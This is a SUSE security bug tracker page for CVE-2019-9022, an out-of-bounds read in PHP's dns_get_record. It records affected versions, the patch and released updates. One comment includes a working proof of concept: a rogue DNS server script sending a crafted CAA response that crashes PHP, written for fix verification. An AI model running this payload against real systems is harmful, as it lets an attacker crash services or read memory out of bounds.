Bug 1126827 - (CVE-2019-9022) VUL-0: CVE-2019-9022: php5,php7,php53: dns_get_record misparses a DNS response, which can allow a hostile DNS server to cause PHP to misuse memcpy
(CVE-2019-9022)
VUL-0: CVE-2019-9022: php5,php7,php53: dns_get_record misparses a DNS respons...
Status: RESOLVED FIXED
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents
unspecified
Other Other
: P3 - Medium : Minor
: ---
Assigned To: Security Team bot
Security Team bot
https://smash.suse.de/issue/225268/
CVSSv2:NVD:CVE-2019-9022:5.0:(AV:N/A...
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2019-02-25 15:08 UTC by Robert Frohl
Modified: 2021-09-14 12:48 UTC (History)
3 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Robert Frohl 2019-02-25 15:08:25 UTC
CVE-2019-9022

An issue was discovered in PHP 7.x before 7.1.26, 7.2.x before 7.2.14, and 7.3.x
before 7.3.2. dns_get_record misparses a DNS response, which can allow a hostile
DNS server to cause PHP to misuse memcpy, leading to read operations going past
the buffer allocated for DNS data. This affects php_parserr in
ext/standard/dns.c for DNS_CAA and DNS_ANY queries.

References:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-9022
https://bugs.php.net/bug.php?id=77369
Comment 1 Robert Frohl 2019-02-25 15:09:11 UTC
And again all php versions in all codestream seem affected:
- SUSE:SLE-10-SP3:Update
- SUSE:SLE-11:Update
- SUSE:SLE-11-SP3:Update
- SUSE:SLE-12:Update
- SUSE:SLE-15:Update
Comment 2 Petr Gajdos 2019-03-08 11:29:28 UTC
BEFORE

15/php7

$ cat server.php
<?php

$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($socket, "0.0.0.0", 53);
socket_set_nonblock($socket);

while(1) {
	$buf = "";
	@socket_recvfrom($socket, $buf, 4096, 0, $client_ip, $client_port);

	if (strlen($buf) <= 0)
		continue;

	$blo = bin2hex(substr($buf, 0, 2)) . "81000001000100000000016101610161000101000101610161016100010100010000012c00000000";
	$blo = hex2bin($blo) ;
	socket_sendto($socket, $blo, strlen($blo), MSG_EOF, $client_ip, $client_port);
}
?>
$ php test.php&
[1] 7702
$ php -r 'dns_get_record("a.a.a", DNS_CAA);'
Segmentation fault (core dumped)
$  kill 7702
$

For older distros the testcase does not work:
$ php -r 'dns_get_record("a.a.a", 0x00002000);'
PHP Warning:  dns_get_record(): Type '8192' not supported in Command line code on line 1
$

PATCH

http://git.php.net/?p=php-src.git;a=commit;h=8d3dfabef459fe7815e8ea2fd68753fd17859d7b

I think the important part of the patch is the second hunk (given the backtrace), and the hunk is not applicable for older ones, I consider only 15/php7 and 12/php72 affected.

AFTER

15/php5

$ php -r 'dns_get_record("a.a.a", DNS_ANY);'
PHP Warning:  dns_get_record(): A temporary server error occurred. in Command line code on line 1
$
Comment 3 Petr Gajdos 2019-03-08 11:29:52 UTC
Will submit for 15/php7 and 12/php72.
Comment 4 Petr Gajdos 2019-03-08 11:41:20 UTC
devel:languages:php:php56/php5 is not affected.
Comment 5 Petr Gajdos 2019-03-11 21:04:04 UTC
I believe all fixed.
Comment 11 Swamp Workflow Management 2019-06-11 22:11:49 UTC
SUSE-SU-2019:1461-1: An update that solves 16 vulnerabilities and has two fixes is now available.

Category: security (moderate)
Bug References: 1118832,1119396,1126711,1126713,1126821,1126823,1126827,1127122,1128722,1128883,1128886,1128887,1128889,1128892,1129032,1132837,1132838,1134322
CVE References: CVE-2018-19935,CVE-2018-20783,CVE-2019-11034,CVE-2019-11035,CVE-2019-11036,CVE-2019-9020,CVE-2019-9021,CVE-2019-9022,CVE-2019-9023,CVE-2019-9024,CVE-2019-9637,CVE-2019-9638,CVE-2019-9639,CVE-2019-9640,CVE-2019-9641,CVE-2019-9675
Sources used:
SUSE Linux Enterprise Module for Web Scripting 15 (src):    php7-7.2.5-4.32.1
SUSE Linux Enterprise Module for Packagehub Subpackages 15 (src):    php7-7.2.5-4.32.1
SUSE Linux Enterprise Module for Open Buildservice Development Tools 15 (src):    php7-7.2.5-4.32.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 12 Swamp Workflow Management 2019-06-18 16:38:11 UTC
openSUSE-SU-2019:1572-1: An update that solves 16 vulnerabilities and has two fixes is now available.

Category: security (moderate)
Bug References: 1118832,1119396,1126711,1126713,1126821,1126823,1126827,1127122,1128722,1128883,1128886,1128887,1128889,1128892,1129032,1132837,1132838,1134322
CVE References: CVE-2018-19935,CVE-2018-20783,CVE-2019-11034,CVE-2019-11035,CVE-2019-11036,CVE-2019-9020,CVE-2019-9021,CVE-2019-9022,CVE-2019-9023,CVE-2019-9024,CVE-2019-9637,CVE-2019-9638,CVE-2019-9639,CVE-2019-9640,CVE-2019-9641,CVE-2019-9675
Sources used:
openSUSE Leap 15.1 (src):    php7-7.2.5-lp151.6.3.1
Comment 13 Swamp Workflow Management 2019-06-18 16:43:17 UTC
openSUSE-SU-2019:1573-1: An update that solves 16 vulnerabilities and has two fixes is now available.

Category: security (moderate)
Bug References: 1118832,1119396,1126711,1126713,1126821,1126823,1126827,1127122,1128722,1128883,1128886,1128887,1128889,1128892,1129032,1132837,1132838,1134322
CVE References: CVE-2018-19935,CVE-2018-20783,CVE-2019-11034,CVE-2019-11035,CVE-2019-11036,CVE-2019-9020,CVE-2019-9021,CVE-2019-9022,CVE-2019-9023,CVE-2019-9024,CVE-2019-9637,CVE-2019-9638,CVE-2019-9639,CVE-2019-9640,CVE-2019-9641,CVE-2019-9675
Sources used:
openSUSE Leap 15.0 (src):    php7-7.2.5-lp150.2.19.1
Comment 16 Alexandros Toptsoglou 2020-05-06 16:03:05 UTC
Done
Comment 17 OBSbugzilla Bot 2020-05-12 08:00:58 UTC
This is an autogenerated message for OBS integration:
This bug (1126827) was mentioned in
https://build.opensuse.org/request/show/802846 Factory / php7
Comment 18 OBSbugzilla Bot 2020-05-12 14:00:43 UTC
This is an autogenerated message for OBS integration:
This bug (1126827) was mentioned in
https://build.opensuse.org/request/show/802978 Factory / php7
Comment 19 OBSbugzilla Bot 2020-05-13 08:20:39 UTC
This is an autogenerated message for OBS integration:
This bug (1126827) was mentioned in
https://build.opensuse.org/request/show/804946 Factory / php7